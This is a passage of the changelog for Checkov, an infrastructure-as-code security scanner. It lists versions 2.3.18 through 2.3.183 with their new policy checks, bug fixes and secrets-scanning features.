unix to work with signals - [#4933](https://github.com/bridgecrewio/checkov/pull/4933)\n\n### Documentation\n\n- **secrets:** Add readme file for Git History - [#4913](https://github.com/bridgecrewio/checkov/pull/4913)\n\n## [2.3.183](https://github.com/bridgecrewio/checkov/compare/2.3.176...2.3.183) - 2023-04-18\n\n### Feature\n\n- **sca:** add is public fix version to sbom report  - [#4915](https://github.com/bridgecrewio/checkov/pull/4915)\n- **secrets:** add more files to ignore list in git history - [#4912](https://github.com/bridgecrewio/checkov/pull/4912)\n- **terraform:** Ensure that container definition is not privileged 334 - [#4779](https://github.com/bridgecrewio/checkov/pull/4779)\n- **terraform:** TF provider check support - [#4911](https://github.com/bridgecrewio/checkov/pull/4911)\n\n### Bug Fix\n\n- **general:** Dedup results contain multiple identical images if using template syntax - [#4924](https://github.com/bridgecrewio/checkov/pull/4924)\n- **general:** fix wrong abs path in IR record - [#4919](https://github.com/bridgecrewio/checkov/pull/4919)\n- **secrets:** Save fetched policy destination from current work dir to temp - [#4914](https://github.com/bridgecrewio/checkov/pull/4914)\n- **secrets:** timeout in unix to work with signals - [#4920](https://github.com/bridgecrewio/checkov/pull/4920)\n- **terraform:** Fix for_each flow conditions - [#4918](https://github.com/bridgecrewio/checkov/pull/4918)\n- **terraform:** make sure K8s volume is a dict - [#4917](https://github.com/bridgecrewio/checkov/pull/4917)\n\n## [2.3.176](https://github.com/bridgecrewio/checkov/compare/2.3.171...2.3.176) - 2023-04-17\n\n### Feature\n\n- **arm:** add Storage accounts disallow public access check for ARM - [#4906](https://github.com/bridgecrewio/checkov/pull/4906)\n- **dockerfile:** Add CKV2_DOCKER_16 for PIP_TRUSTED_HOST - [#4893](https://github.com/bridgecrewio/checkov/pull/4893)\n- **sca:** add is private fix version to sca output - [#4891](https://github.com/bridgecrewio/checkov/pull/4891)\n\n### Bug Fix\n\n- **secrets:** fix absolute file path cases - [#4901](https://github.com/bridgecrewio/checkov/pull/4901)\n- **terraform:** fix foreach count is none bug - [#4907](https://github.com/bridgecrewio/checkov/pull/4907)\n- **terraform:** limit RDS cluster audit logging to MySQL engine - [#4897](https://github.com/bridgecrewio/checkov/pull/4897)\n- **terraform:** remove duplicate call to convert graph vertices - [#4909](https://github.com/bridgecrewio/checkov/pull/4909)\n- **terraform:** remove local blocks with just line number - [#4902](https://github.com/bridgecrewio/checkov/pull/4902)\n\n## [2.3.171](https://github.com/bridgecrewio/checkov/compare/2.3.165...2.3.171) - 2023-04-16\n\n### Feature\n\n- **secrets:** improve timing git history - [#4890](https://github.com/bridgecrewio/checkov/pull/4890)\n- **terraform:** add support for list of dicts in for loop - [#4895](https://github.com/bridgecrewio/checkov/pull/4895)\n\n### Bug Fix\n\n- **cloudformation:** fix invalid fn sub param in cfn - [#4900](https://github.com/bridgecrewio/checkov/pull/4900)\n- **secrets:** fix error if writing to file when don't have access - [#4896](https://github.com/bridgecrewio/checkov/pull/4896)\n- **secrets:** fix None in file name - [#4899](https://github.com/bridgecrewio/checkov/pull/4899)\n- **secrets:** reduce false positives in yaml files - case of serverless and secretmanager - [#4892](https://github.com/bridgecrewio/checkov/pull/4892)\n\n## [2.3.165](https://github.com/bridgecrewio/checkov/compare/2.3.160...2.3.165) - 2023-04-13\n\n### Feature\n\n- **terraform:** ECS Service should not auto assign public IPs 333  - [#4777](https://github.com/bridgecrewio/checkov/pull/4777)\n- **terraform:** EFS access points should define a user and a path 329-330  - [#4768](https://github.com/bridgecrewio/checkov/pull/4768)\n- **terraform:** Ensure ECS Fargate uses latest version 332 - [#4775](https://github.com/bridgecrewio/checkov/pull/4775)\n- **terraform:** Transit gateway should not be set  up to autoaccept any VPC 331  - [#4770](https://github.com/bridgecrewio/checkov/pull/4770)\n\n### Bug Fix\n\n- **general:** fix duplicate sarif output - [#4886](https://github.com/bridgecrewio/checkov/pull/4886)\n- **secrets:** fix slicing in githistory  - [#4889](https://github.com/bridgecrewio/checkov/pull/4889)\n- **terraform:** exclude GCP asymmetric keys from key rotation - [#4879](https://github.com/bridgecrewio/checkov/pull/4879)\n- **terraform:** Paid is now standard - [#4880](https://github.com/bridgecrewio/checkov/pull/4880)\n- **terraform:** support empty filter in S3 lifecycle config - [#4875](https://github.com/bridgecrewio/checkov/pull/4875)\n\n## [2.3.160](https://github.com/bridgecrewio/checkov/compare/2.3.158...2.3.160) - 2023-04-11\n\n### Bug Fix\n\n- **general:** catch unexpected errors when querying OpenAI - [#4883](https://github.com/bridgecrewio/checkov/pull/4883)\n\n## [2.3.158](https://github.com/bridgecrewio/checkov/compare/2.3.155...2.3.158) - 2023-04-10\n\n### Feature\n\n- **secrets:** Add fields to record of secrets in git history - [#4838](https://github.com/bridgecrewio/checkov/pull/4838)\n\n### Bug Fix\n\n- **terraform_plan:** Handled TFDefinitionKey in plan runner as well - [#4864](https://github.com/bridgecrewio/checkov/pull/4864)\n\n## [2.3.155](https://github.com/bridgecrewio/checkov/compare/2.3.152...2.3.155) - 2023-04-09\n\n### Feature\n\n- **cloudformation:** support inline suppression of CFN graph checks - [#4843](https://github.com/bridgecrewio/checkov/pull/4843)\n- **terraform:** Aurora DB should enable backtrack - [#4739](https://github.com/bridgecrewio/checkov/pull/4739)\n- **terraform:** Desync must be set to defensive or strictest - [#4766](https://github.com/bridgecrewio/checkov/pull/4766)\n- **terraform:** Ensure that RDS clusters are encrypted using a CMK - [#4742](https://github.com/bridgecrewio/checkov/pull/4742)\n- **terraform:** RDS Cluster - make sure rds cluster defined defaults for logging and audit logging - [#4736](https://github.com/bridgecrewio/checkov/pull/4736)\n\n### Bug Fix\n\n- **general:** be more forgiving of skipped checks without comment - [#4844](https://github.com/bridgecrewio/checkov/pull/4844)\n- **terraform:** default case should pass for auto updates - [#4847](https://github.com/bridgecrewio/checkov/pull/4847)\n- **terraform:** False negative for CKV_AZURE_179 - [#4846](https://github.com/bridgecrewio/checkov/pull/4846)\n- **terraform:** Only update config if len is bigger than 0 - [#4855](https://github.com/bridgecrewio/checkov/pull/4855)\n\n## [2.3.152](https://github.com/bridgecrewio/checkov/compare/2.3.150...2.3.152) - 2023-04-04\n\n### Feature\n\n- **dockerfile:** Add CKV2_DOCKER_15 for yum-config-manager sslverify - [#4622](https://github.com/bridgecrewio/checkov/pull/4622)\n\n### Bug Fix\n\n- **cloudformation:** Security Group check now work for ranges and strings - [#4797](https://github.com/bridgecrewio/checkov/pull/4797)\n- **terraform:** Ensure APPService default action is to ignore not fail - [#4790](https://github.com/bridgecrewio/checkov/pull/4790)\n- **terraform:** Subnetworks with internal purpose can have private_ipv6_google_access… - [#4804](https://github.com/bridgecrewio/checkov/pull/4804)\n\n## [2.3.150](https://github.com/bridgecrewio/checkov/compare/2.3.148...2.3.150) - 2023-04-03\n\n### Feature\n\n- **terraform:** Adding yaml based build time policies for corresponding PC runtime policies - [#4800](https://github.com/bridgecrewio/checkov/pull/4800)\n\n### Bug Fix\n\n- **terraform:** Fix for edge cases in for_each modules - [#4831](https://github.com/bridgecrewio/checkov/pull/4831)\n\n## [2.3.148](https://github.com/bridgecrewio/checkov/compare/2.3.140...2.3.148) - 2023-04-02\n\n### Feature\n\n- **kubernetes:** support non-utf-8 encoded Kubernetes manifest files - [#4820](https://github.com/bridgecrewio/checkov/pull/4820)\n- **terraform:** ElasticCache for Redis cluster should automatically take minor updates - [#4726](https://github.com/bridgecrewio/checkov/pull/4726)\n- **terraform:** Ensure opensearch is configured for HA - [#4717](https://github.com/bridgecrewio/checkov/pull/4717)\n- **terraform:** Ensure Redshift specifies a DB name - [#4723](https://github.com/bridgecrewio/checkov/pull/4723)\n- **terraform:** Ensure Redshift uses enhanced vpc routing - [#4724](https://github.com/bridgecrewio/checkov/pull/4724)\n- **terraform:** Fix up ES logging check - [#4720](https://github.com/bridgecrewio/checkov/pull/4720)\n\n### Bug Fix\n\n- **general:** don't add an invalid URL to helpUri field in SARIF output - [#4814](https://github.com/bridgecrewio/checkov/pull/4814)\n- **graph:** support string values for resource_types in graph checks properly - [#4819](https://github.com/bridgecrewio/checkov/pull/4819)\n- **kubernetes:** Don't require ImagePullPolicy when digest (#4776) - [#4781](https://github.com/bridgecrewio/checkov/pull/4781)\n- **secrets:** catch errors in middle of process of getting commit diffs - [#4823](https://github.com/bridgecrewio/checkov/pull/4823)\n- **terraform:** Fix add_to_block condition to support more edge cases   - [#4822](https://github.com/bridgecrewio/checkov/pull/4822)\n- **terraform:** fix false positive CKV2_GCP_20 (fails for any non-MySQL instance) - [#4813](https://github.com/bridgecrewio/checkov/pull/4813)\n- **terraform:** Length resolvers evaluate length of `dict` as 1. - [#4808](https://github.com/bridgecrewio/checkov/pull/4808)\n\n### Platform\n\n- **general:** Save error lines in IR records - [#4821](https://github.com/bridgecrewio/checkov/pull/4821)\n\n## [2.3.140](https://github.com/bridgecrewio/checkov/compare/2.3.134...2.3.140) - 2023-03-30\n\n### Feature\n\n- **general:** add OpenAI integration - [#4782](https://github.com/bridgecrewio/checkov/pull/4782)\n- **terraform:** Ensure that cloudwatch alarms are set on - [#4805](https://github.com/bridgecrewio/checkov/pull/4805)\n\n### Bug Fix\n\n- **general:** fix scan all files entrypoint - [#4801](https://github.com/bridgecrewio/checkov/pull/4801)\n- **terraform:** Set back CHECKOV_ENABLE_FOREACH_HANDLING to False to check perfomence - [#4798](https://github.com/bridgecrewio/checkov/pull/4798)\n- **terraform:** TF new parser - Check for tfvars block - [#4796](https://github.com/bridgecrewio/checkov/pull/4796)\n\n## [2.3.134](https://github.com/bridgecrewio/checkov/compare/2.3.128...2.3.134) - 2023-03-29\n\n### Feature\n\n- **ansible:** PAN-OS policy and zone checks - [#4737](https://github.com/bridgecrewio/checkov/pull/4737)\n- **terraform_plan:** support data blocks in Terraform plan files - [#4758](https://github.com/bridgecrewio/checkov/pull/4758)\n- **terraform:** Set CHECKOV_ENABLE_FOREACH_HANDLING as True - [#4774](https://github.com/bridgecrewio/checkov/pull/4774)\n\n### Bug Fix\n\n- **terraform:** Correctly serialize/deserialize TFModule object - [#4780](https://github.com/bridgecrewio/checkov/pull/4780)\n- **terraform:** Fix nested `each.value` replacement in for_each handler - [#4787](https://github.com/bridgecrewio/checkov/pull/4787)\n\n## [2.3.128](https://github.com/bridgecrewio/checkov/compare/2.3.124...2.3.128) - 2023-03-28\n\n### Feature\n\n- **secrets:** make git history scan run in parallel  - [#4769](https://github.com/bridgecrewio/checkov/pull/4769)\n- **terraform:** Add source_module_object_ to block attributes - [#4773](https://github.com/bridgecrewio/checkov/pull/4773)\n- **terraform:** codebuild dont enable privilege mode - [#4714](https://github.com/bridgecrewio/checkov/pull/4714)\n\n### Bug Fix\n\n- **terraform:** Fix nested statements in _is_static_foreach_statement - [#4772](https://github.com/bridgecrewio/checkov/pull/4772)\n\n## [2.3.124](https://github.com/bridgecrewio/checkov/compare/2.3.121...2.3.124) - 2023-03-27\n\n### Feature\n\n- **terraform:** AWS Use Launch templates in ASG - [#4698](https://github.com/bridgecrewio/checkov/pull/4698)\n- **terraform:** Codebuild defines and uses logs - [#4696](https://github.com/bridgecrewio/checkov/pull/4696)\n\n### Bug Fix\n\n- **terraform:** Foreach - Fix regex on an empty list - [#4765](https://github.com/bridgecrewio/checkov/pull/4765)\n\n## [2.3.121](https://github.com/bridgecrewio/checkov/compare/2.3.115...2.3.121) - 2023-03-26\n\n### Feature\n\n- **general:** Add scan all files to entrypoint - [#4746](https://github.com/bridgecrewio/checkov/pull/4746)\n- **terraform:** check routes are authorised - [#4682](https://github.com/bridgecrewio/checkov/pull/4682)\n- **terraform:** CloudDistribution set Failover origin - [#4686](https://github.com/bridgecrewio/checkov/pull/4686)\n- **terraform:** code build s3 logs are encrypted - [#4687](https://github.com/bridgecrewio/checkov/pull/4687)\n- **terraform:** Elasticbeanstalk should use enhanced health reporting - [#4692](https://github.com/bridgecrewio/checkov/pull/4692)\n- **terraform:** RDS cluster copy tags to snapshot - [#4693](https://github.com/bridgecrewio/checkov/pull/4693)\n- **terraform:** Support for_each/count statements in TF Modules - [#4708](https://github.com/bridgecrewio/checkov/pull/4708)\n\n### Bug Fix\n\n- **secrets:**  Don't show stack trace in failures  when uploading secrets to verify - [#4734](https://github.com/bridgecrewio/checkov/pull/4734)\n- **secrets:** Compare abs paths in SecretsOmitter - [#4756](https://github.com/bridgecrewio/checkov/pull/4756)\n- **terraform:** refine IAM assume role check CKV_AWS_61 - [#4749](https://github.com/bridgecrewio/checkov/pull/4749)\n- **terraform:** refine S3 lifecycle check CKV_AWS_300 - [#4750](https://github.com/bridgecrewio/checkov/pull/4750)\n\n### Platform\n\n- **terraform:** external module from git fail - log warning - [#4755](https://github.com/bridgecrewio/checkov/pull/4755)\n\n### Documentation\n\n- **terraform:** Document no private registry - [#4745](https://github.com/bridgecrewio/checkov/pull/4745)\n\n## [2.3.115](https://github.com/bridgecrewio/checkov/compare/2.3.114...2.3.115) - 2023-03-24\n\n### Bug Fix\n\n- **general:** fix default log levels for support stream - [#4741](https://github.com/bridgecrewio/checkov/pull/4741)\n\n## [2.3.114](https://github.com/bridgecrewio/checkov/compare/2.3.110...2.3.114) - 2023-03-23\n\n### Feature\n\n- **ansible:** Ansible panos int mgmt checks - [#4683](https://github.com/bridgecrewio/checkov/pull/4683)\n- **terraform:** api gateway ensure api cache is encrypted - [#4681](https://github.com/bridgecrewio/checkov/pull/4681)\n- **terraform:** AWS ensure Sagemaker Notebook users are not Root - [#4676](https://github.com/bridgecrewio/checkov/pull/4676)\n- **terraform:** Sagemaker Notebook In Custom VPC - [#4675](https://github.com/bridgecrewio/checkov/pull/4675)\n- **terraform:** Terraform runner with the new TF parser - [#4728](https://github.com/bridgecrewio/checkov/pull/4728)\n\n### Bug Fix\n\n- **gitlab:**  fixing include scope that predominant all others - [#4735](https://github.com/bridgecrewio/checkov/pull/4735)\n\n### Documentation\n\n- **general:** fix small typo - [#4725](https://github.com/bridgecrewio/checkov/pull/4725)\n\n## [2.3.110](https://github.com/bridgecrewio/checkov/compare/2.3.108...2.3.110) - 2023-03-22\n\n### Bug Fix\n\n- **graph:** Fix an issue in and connection solver - [#4719](https://github.com/bridgecrewio/checkov/pull/4719)\n\n## [2.3.108](https://github.com/bridgecrewio/checkov/compare/2.3.105...2.3.108) - 2023-03-21\n\n### Feature\n\n- **secrets:** add option to get and set the secret store - [#4707](https://github.com/bridgecrewio/checkov/pull/4707)\n\n### Platform\n\n- **graph:** Ignore SyntaxWarning in variable rendering - [#4718](https://github.com/bridgecrewio/checkov/pull/4718)\n\n## [2.3.105](https://github.com/bridgecrewio/checkov/compare/2.3.102...2.3.105) - 2023-03-20\n\n### Feature\n\n- **general:** add flag to skip cert verification - [#4641](https://github.com/bridgecrewio/checkov/pull/4641)\n- **secrets:** Override secrets validation flag with tenant config - [#4701](https://github.com/bridgecrewio/checkov/pull/4701)\n\n## [2.3.102](https://github.com/bridgecrewio/checkov/compare/2.3.96...2.3.102) - 2023-03-19\n\n### Feature\n\n- **terraform:** AWS Ensure cloudfront has a default root - [#4673](https://github.com/bridgecrewio/checkov/pull/4673)\n- **terraform:** AWS ensure secret rotation is less than 90 days - [#4672](https://github.com/bridgecrewio/checkov/pull/4672)\n- **terraform:** AWS Secrets are rotated - [#4671](https://github.com/bridgecrewio/checkov/pull/4671)\n- **terraform:** ensure DB snapshots arent public - [#4667](https://github.com/bridgecrewio/checkov/pull/4667)\n- **terraform:** ensure SSM docs are private - [#4668](https://github.com/bridgecrewio/checkov/pull/4668)\n- **terraform:** lambda permission is not public - [#4666](https://github.com/bridgecrewio/checkov/pull/4666)\n\n### Bug Fix\n\n- **general:** Custom policies integration correct check IDs filtering - [#4700](https://github.com/bridgecrewio/checkov/pull/4700)\n- **sca:** return empty result when using BC API key in IDE - [#4694](https://github.com/bridgecrewio/checkov/pull/4694)\n- **terraform:** add extra handling around private GitHub Terraform modules - [#4699](https://github.com/bridgecrewio/checkov/pull/4699)\n\n## [2.3.96](https://github.com/bridgecrewio/checkov/compare/2.3.95...2.3.96) - 2023-03-16\n\n### Feature\n\n- **ansible:** Ansible panos security policy checks - [#4639](https://github.com/bridgecrewio/checkov/pull/4639)\n- **terraform:** s3 bucket has event notifications - [#4660](https://github.com/bridgecrewio/checkov/pull/4660)\n- **terraform:** s3 ensure failed uploads are deleted id=300!!!! - [#4662](https://github.com/bridgecrewio/checkov/pull/4662)\n\n### Bug Fix\n\n- **gitlab:** index_out_of_range - [#4677](https://github.com/bridgecrewio/checkov/pull/4677)\n- **terraform:** Revert \"feat(terraform): support provider blocks yaml policy checks (… - [#4680](https://github.com/bridgecrewio/checkov/pull/4680)\n\n## [2.3.95](https://github.com/bridgecrewio/checkov/compare/2.3.92...2.3.95) - 2023-03-15\n\n### Feature\n\n- **sca:** filter twistcli results with empty package name and version - [#4670](https://github.com/bridgecrewio/checkov/pull/4670)\n- **terraform:** Support new TFParser in the local graph (under env var) - [#4664](https://github.com/bridgecrewio/checkov/pull/4664)\n- **terraform:** support provider blocks yaml policy checks - [#4656](https://github.com/bridgecrewio/checkov/pull/4656)\n\n## [2.3.92](https://github.com/bridgecrewio/checkov/compare/2.3.85...2.3.92) - 2023-03-14\n\n### Feature\n\n- **sca:** fix unexpected maven packageName - cycloneDX - [#4663](https://github.com/bridgecrewio/checkov/pull/4663)\n- **sca:** skipping finding IsPrivateFixVersion by default - [#4648](https://github.com/bridgecrewio/checkov/pull/4648)\n- **sca:** support inline CVE suppression in requirements.txt - [#4630](https://github.com/bridgecrewio/checkov/pull/4630)\n- **secrets:** allow scanning just partial history of commits - [#4659](https://github.com/bridgecrewio/checkov/pull/4659)\n- **terraform:** Refactor Module mapping objects - [#4661](https://github.com/bridgecrewio/checkov/pull/4661)\n- **terraform:** s3 to have lifecycle policy - [#4658](https://github.com/bridgecrewio/checkov/pull/4658)\n\n### Bug Fix\n\n- **secrets:** fix git history partial scan - [#4665](https://github.com/bridgecrewio/checkov/pull/4665)\n\n## [2.3.85](https://github.com/bridgecrewio/checkov/compare/2.3.79...2.3.85) - 2023-03-13\n\n### Feature\n\n- **secrets:** support git history scan in multiline parsers - [#4637](https://github.com/bridgecrewio/checkov/pull/4637)\n- **terraform:** Definitions serialization with new definitions key/module objects - [#4655](https://github.com/bridgecrewio/checkov/pull/4655)\n- **terraform:** support variable rendering for default objects in vars - [#4650](https://github.com/bridgecrewio/checkov/pull/4650)\n\n### Bug Fix\n\n- **arm:** Fix resource type check in SQLServerAuditingRetention90Days - [#4657](https://github.com/bridgecrewio/checkov/pull/4657)\n- **general:** check suppression id instead of policy id - [#4646](https://github.com/bridgecrewio/checkov/pull/4646)\n- **gitlab:** Modify GitLab CI resource ids - [#4647](https://github.com/bridgecrewio/checkov/pull/4647)\n\n## [2.3.79](https://github.com/bridgecrewio/checkov/compare/2.3.75...2.3.79) - 2023-03-12\n\n### Feature\n\n- **terraform:** Fix for foreach subgraph rendering - [#4649](https://github.com/bridgecrewio/checkov/pull/4649)\n- **terraform:** new checks on new resources - [#4491](https://github.com/bridgecrewio/checkov/pull/4491)\n\n### Platform\n\n- **general:** skip uploading repo for VSCode source - [#4643](https://github.com/bridgecrewio/checkov/pull/4643)\n\n## [2.3.75](https://github.com/bridgecrewio/checkov/compare/2.3.71...2.3.75) - 2023-03-09\n\n### Feature\n\n- **general:** add Terraform JSON support - [#4626](https://github.com/bridgecrewio/checkov/pull/4626)\n- **terraform:** Adding yaml based build time policies for corresponding PC runtime policies - [#4605](https://github.com/bridgecrewio/checkov/pull/4605)\n\n### Bug Fix\n\n- **arm:** ignore incomplete resource in ARM templates - [#4636](https://github.com/bridgecrewio/checkov/pull/4636)\n- **terraform:** stop handle resource `for_each` as dynamic attribute - [#4632](https://github.com/bridgecrewio/checkov/pull/4632)\n\n## [2.3.71](https://github.com/bridgecrewio/checkov/compare/2.3.70...2.3.71) - 2023-03-08\n\n### Bug Fix\n\n- **terraform:** v2 settings valid  for windows and linux web apps - [#4628](https://github.com/bridgecrewio/checkov/pull/4628)\n\n## [2.3.70](https://github.com/bridgecrewio/checkov/compare/2.3.66...2.3.70) - 2023-03-07\n\n### Feature\n\n- **ansible:** add Ansible check for CKV_PAN_4 for PAN-OS DSRI - [#4608](https://github.com/bridgecrewio/checkov/pull/4608)\n- **dockerfile:** Add tdnf support for CKV2_DOCKER_9 - [#4620](https://github.com/bridgecrewio/checkov/pull/4620)\n- **terraform:** Check added for AWS Database instance deletion protection - [#4616](https://github.com/bridgecrewio/checkov/pull/4616)\n- **terraform:** CloudtrailEventDataStoreUsesCMK  - [#4621](https://github.com/bridgecrewio/checkov/pull/4621)\n\n### Bug Fix\n\n- **bicep:** handle malformed files in bicep parser - [#4629](https://github.com/bridgecrewio/checkov/pull/4629)\n- **cloudformation:** KMSKeyWildCardPrincipal modification - Check for wildcards inside of lists - [#4590](https://github.com/bridgecrewio/checkov/pull/4590)\n- **terraform:** in sg rules ignore self referencing - [#4603](https://github.com/bridgecrewio/checkov/pull/4603)\n\n## [2.3.66](https://github.com/bridgecrewio/checkov/compare/2.3.59...2.3.66) - 2023-03-06\n\n### Feature\n\n- **gitlab:** fix wrong resource in gitlab-ci - [#4610](https://github.com/bridgecrewio/checkov/pull/4610)\n- **terraform:** Support the -1 protocol on SG checks - [#4611](https://github.com/bridgecrewio/checkov/pull/4611)\n- **terraform:** TF Parser support of new modules keys - [#4601](https://github.com/bridgecrewio/checkov/pull/4601)\n\n### Bug Fix\n\n- **bicep:** extend CKV_AZURE_4 to consider omsAgent to be written in camelCase - [#4614](https://github.com/bridgecrewio/checkov/pull/4614)\n- **general:** refactor SARIF output - [#4606](https://github.com/bridgecrewio/checkov/pull/4606)\n- **general:** skip scanning invalid resources - [#4617](https://github.com/bridgecrewio/checkov/pull/4617)\n- **sca:** Added an error log for Twistcli failures - [#4613](https://github.com/bridgecrewio/checkov/pull/4613)\n- **terraform:** stop evaluating a string ... to the Ellipsis object - [#4623](https://github.com/bridgecrewio/checkov/pull/4623)\n\n## [2.3.59](https://github.com/bridgecrewio/checkov/compare/2.3.57...2.3.59) - 2023-03-05\n\n### Bug Fix\n\n- **general:** do not stop getting fixes if one attempt results in a 403 - [#4607](https://github.com/bridgecrewio/checkov/pull/4607)\n- **gha:** skip schema validity check if parsing returned None - [#4609](https://github.com/bridgecrewio/checkov/pull/4609)\n- **secrets:** Adjust output to include the additional Git History info - [#4566](https://github.com/bridgecrewio/checkov/pull/4566)\n\n## [2.3.57](https://github.com/bridgecrewio/checkov/compare/2.3.53...2.3.57) - 2023-03-02\n\n### Feature\n\n- **ansible:** Add checks for the ansible builtin dnf module - [#4570](https://github.com/bridgecrewio/checkov/pull/4570)\n- **dockerfile:** Add new dockerfile checks - [#4569](https://github.com/bridgecrewio/checkov/pull/4569)\n- **terraform:** Create a new TF parser - [#4584](https://github.com/bridgecrewio/checkov/pull/4584)\n\n### Bug Fix\n\n- **secrets:** only check secrets framework when scanning history - [#4592](https://github.com/bridgecrewio/checkov/pull/4592)\n- **terraform:** AWS - there's a new sg vpc ingress rule - [#4575](https://github.com/bridgecrewio/checkov/pull/4575)\n- **terraform:** Azurerm NSG UDP check should work for old style but still valid tf - [#4454](https://github.com/bridgecrewio/checkov/pull/4454)\n\n## [2.3.53](https://github.com/bridgecrewio/checkov/compare/2.3.50...2.3.53) - 2023-03-01\n\n### Feature\n\n- **terraform:** Add foreach_attrs in saved graph - [#4587](https://github.com/bridgecrewio/checkov/pull/4587)\n- **terraform:** Set foreach_attrs directly under the block - [#4586](https://github.com/bridgecrewio/checkov/pull/4586)\n- **terraform:** TF foreach - Support updating each.value in nested dict - [#4588](https://github.com/bridgecrewio/checkov/pull/4588)\n\n### Bug Fix\n\n- **sca:** Set prisma token and scan packages by v2 for IDE scans - [#4580](https://github.com/bridgecrewio/checkov/pull/4580)\n- **terraform:** fix CKV_AWS_70 test and add graph for coverage of data source - [#4542](https://github.com/bridgecrewio/checkov/pull/4542)\n- **terraform:** TF foreach - Avoid rendering in static statements - [#4583](https://github.com/bridgecrewio/checkov/pull/4583)\n\n### Documentation\n\n- **ansible:** add Ansible policy docs generation - [#4582](https://github.com/bridgecrewio/checkov/pull/4582)\n\n## [2.3.50](https://github.com/bridgecrewio/checkov/compare/2.3.48...2.3.50) - 2023-02-28\n\n### Bug Fix\n\n- **terraform:** add not exists conditional to CKV2_AWS_16 to account for defaults - [#4578](https://github.com/bridgecrewio/checkov/pull/4578)\n\n## [2.3.48](https://github.com/bridgecrewio/checkov/compare/2.3.44...2.3.48) - 2023-02-27\n\n### Feature\n\n- **secrets:** track complete file deletion and renaming - [#4551](https://github.com/bridgecrewio/checkov/pull/4551)\n- **terraform:** Adding yaml based build time policies for corresponding PC runtime policies - [#4529](https://github.com/bridgecrewio/checkov/pull/4529)\n\n### Bug Fix\n\n- **ansible:** support skip check for Ansible Python-based checks - [#4556](https://github.com/bridgecrewio/checkov/pull/4556)\n- **terraform:** Handle unescaped lookup values - [#4565](https://github.com/bridgecrewio/checkov/pull/4565)\n\n## [2.3.44](https://github.com/bridgecrewio/checkov/compare/2.3.39...2.3.44) - 2023-02-26\n\n### Feature\n\n- **dockerfile:** Add check for the environment variable NPM_CONFIG_STRICT_SSL - [#4553](https://github.com/bridgecrewio/checkov/pull/4553)\n- **terraform:** TF Parser  - Move funcs and consts to utils file - [#4550](https://github.com/bridgecrewio/checkov/pull/4550)\n\n### Bug Fix\n\n- **terraform_plan:** Fix tf plan nested modules - [#4562](https://github.com/bridgecrewio/checkov/pull/4562)\n- **terraform:** fix for #4518 - [#4528](https://github.com/bridgecrewio/checkov/pull/4528)\n- **terraform:** Move get_module back to parser - [#4560](https://github.com/bridgecrewio/checkov/pull/4560)\n- **terraform:** remove dynamic warning exc_info - [#4563](https://github.com/bridgecrewio/checkov/pull/4563)\n\n## [2.3.39](https://github.com/bridgecrewio/checkov/compare/2.3.36...2.3.39) - 2023-02-23\n\n### Feature\n\n- **dockerfile:** Add checks for disabling signature checks for apk, apt-get, rpm, yum, dnf - [#4404](https://github.com/bridgecrewio/checkov/pull/4404)\n- **terraform:** New classes for the TF module model - [#4546](https://github.com/bridgecrewio/checkov/pull/4546)\n\n### Bug Fix\n\n- **gha:** Align GHA resource ids (Graph vs Python checks) - [#4549](https://github.com/bridgecrewio/checkov/pull/4549)\n\n## [2.3.36](https://github.com/bridgecrewio/checkov/compare/2.3.33...2.3.36) - 2023-02-22\n\n### Feature\n\n- **arm:** add graph capabilities to ARM framework - [#4526](https://github.com/bridgecrewio/checkov/pull/4526)\n- **secrets:** add timeout for scan history checks - [#4523](https://github.com/bridgecrewio/checkov/pull/4523)\n- **secrets:** Support secret findings in git history - [#4525](https://github.com/bridgecrewio/checkov/pull/4525)\n\n## [2.3.33](https://github.com/bridgecrewio/checkov/compare/2.3.29...2.3.33) - 2023-02-21\n\n### Feature\n\n- **gitlab:** fix gitlab ci yaml file processing - [#4536](https://github.com/bridgecrewio/checkov/pull/4536)\n- **sca:** adding is_registry_url and printing in the cyclonedx only private registries urls - [#4533](https://github.com/bridgecrewio/checkov/pull/4533)\n- **sca:** support also the key \"registryUrl\" when extracting registry_url for the report - [#4535](https://github.com/bridgecrewio/checkov/pull/4535)\n\n### Bug Fix\n\n- **terraform:** Optional module content path - [#4537](https://github.com/bridgecrewio/checkov/pull/4537)\n\n## [2.3.29](https://github.com/bridgecrewio/checkov/compare/2.3.28...2.3.29) - 2023-02-20\n\n### Bug Fix\n\n- **cloudformation:** Update CKV_AWS_46 to handle base64 encoded userdata - [#4530](https://github.com/bridgecrewio/checkov/pull/4530)\n\n## [2.3.28](https://github.com/bridgecrewio/checkov/compare/2.3.23...2.3.28) - 2023-02-19\n\n### Feature\n\n- **secrets:** add flag for scan secrets history - [#4513](https://github.com/bridgecrewio/checkov/pull/4513)\n- **terraform:** Used parentheses in key for foreach attributes but not count - [#4520](https://github.com/bridgecrewio/checkov/pull/4520)\n\n### Bug Fix\n\n- **gha:** fix output flag for usage in checkov-action - [#4517](https://github.com/bridgecrewio/checkov/pull/4517)\n- **terraform:** add datasource option for headers check - [#4496](https://github.com/bridgecrewio/checkov/pull/4496)\n- **terraform:** optimize check CKV2_AWS_60 - [#4512](https://github.com/bridgecrewio/checkov/pull/4512)\n\n### Platform\n\n- **general:** Use new enforcement categories (#4456) - [#4519](https://github.com/bridgecrewio/checkov/pull/4519)\n\n## [2.3.23](https://github.com/bridgecrewio/checkov/compare/2.3.22...2.3.23) - 2023-02-18\n\n### Feature\n\n- **ansible:** Add checks for the ansible builtin apt module - [#4500](https://github.com/bridgecrewio/checkov/pull/4500)\n\n### Bug Fix\n\n- **gha:** now looks for GHA on windows - [#4515](https://github.com/bridgecrewio/checkov/pull/4515)\n\n## [2.3.22](https://github.com/bridgecrewio/checkov/compare/2.3.18...2.3.22) - 2023-02-16\n\n### Feature\n\n- **sca:** adding registry-url to the cyclonedx output report - [#4511](https://github.com/bridgecrewio/checkov/pull/4511)\n- **secrets:**  Add capability to iterate over git history - [#4469](https://github.com/bridgecrewio/checkov/pull/4469)\n- **terraform:** Adding yaml based build time policies for corresponding PC run time policies - [#4425](https://github.com/bridgecrewio/checkov/pull/4425)\n\n### Bug Fix\n\n- **secrets:**  import git - [#4514](https://github.com/bridgecrewio/checkov/pull/4514)\n\n## [2.3.18](https://github.com/bridgecrewio/checkov/compare/2.3.14...2.3.18) - 2023-02-15\n\n### Feature\n\n- **sca:** add registry urls and description to the output report and to the csv report - [#4485](https://github.com/bridgecrewio/checkov/pull/4485)\n\n### Bug Fix\n\n- **ansible:** skip unsupported Ansible resources - [#4504](https://github.com/bridgecrewio/checkov/pull/4504)\n- **terraform:** Fix an str split edge case in function - [#4507](https://github.com/bridgecrewio/checkov/pull/4507)\n- **terraform:** fix enforcement rules mapping - 